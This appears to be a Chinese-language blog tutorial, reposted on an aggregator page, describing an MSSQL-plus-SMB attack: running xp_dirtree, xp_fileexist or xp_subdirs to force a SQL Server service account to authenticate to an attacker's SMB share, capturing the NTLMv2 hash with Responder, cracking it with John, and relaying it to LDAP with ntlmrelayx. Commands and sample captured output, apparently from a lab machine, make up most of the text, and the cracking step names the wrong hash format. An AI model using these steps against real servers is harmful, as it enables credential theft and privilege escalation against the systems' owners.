当前位置: 首页 > news >正文

MSSQL + SMB 捕获 NTLM 哈希和中继攻击

一、原理概述

1、MSSQL 服务器函数:

xp_dirtree、xp_fileexist 等存储过程在访问远程 SMB 共享时,会尝试使用服务账户身份进行身份验证。

2、触发 NTLM 认证请求:

当 MSSQL 执行上述函数访问远程路径(如 \\IP\SHARE)时,MSSQL 服务账户会向 SMB 服务器发送 NTLM 认证请求。

3、捕获 NTLM 哈希:

攻击者设置的监听器(如 Responder)能够捕获到这些 NTLM 哈希,进一步可以使用这些哈希进行爆破或中继攻击。

二、主要步骤

1、步骤 1

启动 Responder 监听器(Kali 攻击机)

Responder 是一个能够捕获网络中 NTLM 请求的工具。

在 Kali 上启动 Responder:

sudo responder -I tun0
-I tun0:指定监听的网络接口,通常是 tun0 或 eth0、wlan0 等。确保使用正确的网络接口,特别是当使用 VPN 时,接口可能是 tun0。Responder日志路径:/usr/share/responder/logs。

2、步骤 2

诱导 MSSQL 服务器发起 SMB 请求

在目标 MSSQL 服务器上执行以下 SQL 命令,诱导它连接到你的 SMB 共享:

EXEC master..xp_dirtree '\\10.10.14.XX\share';
10.10.14.XX:将其替换为你 Kali 攻击机的 IP 地址。这条命令会让 MSSQL 尝试列出远程 SMB 路径下的文件和目录,触发 NTLM 身份验证请求。

3、步骤 3

其他可用诱导函数

如果 xp_dirtree 不可用,尝试以下其他函数来诱导 SMB 请求:

EXEC master..xp_fileexist '\\10.10.14.XX\share\test.txt';
EXEC master..xp_subdirs '\\10.10.14.XX\share';

这些命令同样会让 MSSQL 尝试访问指定的 SMB 路径,并触发身份验证请求。

三、捕获 NTLM 哈希

一旦 MSSQL 服务器尝试连接 SMB 共享,Resonpder 会捕获到 NTLM 请求,并显示如下信息:

[SMB] NTLMv2-SSP Client   : 10.10.11.202
[SMB] NTLMv2-SSP Username : sequel\sqlservice
[SMB] NTLMv2-SSP Hash     : sqlservice::sequel:1122334455667788...
NTLMv2-SSP Client:发起请求的客户端 IP。NTLMv2-SSP Username:MSSQL 服务账户的用户名。NTLMv2-SSP Hash:捕获到的 NTLM 哈希。

四、爆破 NTLM 哈希

捕获到的 NTLM 哈希可以使用 John the Ripper 或 Hashcat 进行暴力破解,尝试获取明文密码。

例如使用 john:

john hash.txt --format=NT
hash.txt 是保存 NTLM 哈希的文件。

五、NTLM 中继攻击

一旦捕获到 NTLM 哈希,可以使用 impacket-ntlmrelayx 工具将该哈希中继到目标服务(如 LDAP)进行进一步的攻击。

启动 NTLM 中继攻击:

python3 ntlmrelayx.py -smb2support -t ldap://10.10.11.202
-smb2support:支持 SMB2 协议。-t ldap://10.10.11.202:指定目标服务地址,10.10.11.202 为目标 LDAP 服务器的 IP 地址。这条命令会将捕获到的 NTLM 哈希中继到指定的 LDAP 服务器,从而可能进行身份验证,尝试执行权限提升或其他攻击。

六、相关工具总结

Responder:用于捕获 NTLM 认证请求并显示/保存哈希。

Impacket (ntlmrelayx):用于将捕获的 NTLM 哈希中继到其他服务(如 LDAP、SMB 等),进行进一步的权限提升攻击。

相关文章:

  • 华为OD机试真题——荒岛求生(2025B卷:200分)Java/python/JavaScript/C/C++/GO最佳实现
  • 2025.05.26【Wordcloud】词云图绘制技巧
  • 电脑装的数据越多,会不会越重
  • Word VBA 教程|一键将 PNG/JPG 图片插入每一页(浮于文字上方,固定大小)
  • 【PC网上邻居--1】基于Samba协议的局域网文件共享系统设计与实现
  • 如何把 Microsoft Word 中所有的汉字字体替换为宋体?
  • 类的设计模式——单例、工厂以及建造者模式
  • uniapp 开发安卓app 微信授权获取昵称 头像登录
  • (转)Docker与K8S的区别
  • UDP和TCP特征的详解
  • Taro on Harmony C-API 版本正式开源
  • Oracle NLS_LANG 常见问题
  • 论文阅读:Self-Planning Code Generation with Large Language Models
  • C++寻位映射的究极密码:哈希扩展
  • Elasticsearch 分片驱逐(Shard Exclusion)方式简析:`_name`、`_ip`、`_host`
  • XSS跨站脚本攻击的原理、危害与防御
  • 【深度学习】4. 参数初始化详解与数学推导: Xavier, He
  • 泰迪杯特等奖案例深度解析:基于三维点云与深度学习的复杂零件装配质量检测系统设计
  • 小刚说C语言刷题—1152 - 求n个数的最大值和最小值
  • 微信语音类输入发送功能测试
  • 长春企业做网站/网络营销推广计划
  • 做虚拟币网站需要什么手续/北京seo关键词排名
  • 做高性能的网站 哪门语言好/什么是网络营销推广
  • 网站建设公司的成本有哪些内容/百度统计手机app
  • 网站备案 换域名/推广引流吸引人的标题
  • 2h1g做视频网站/企业网站seo公司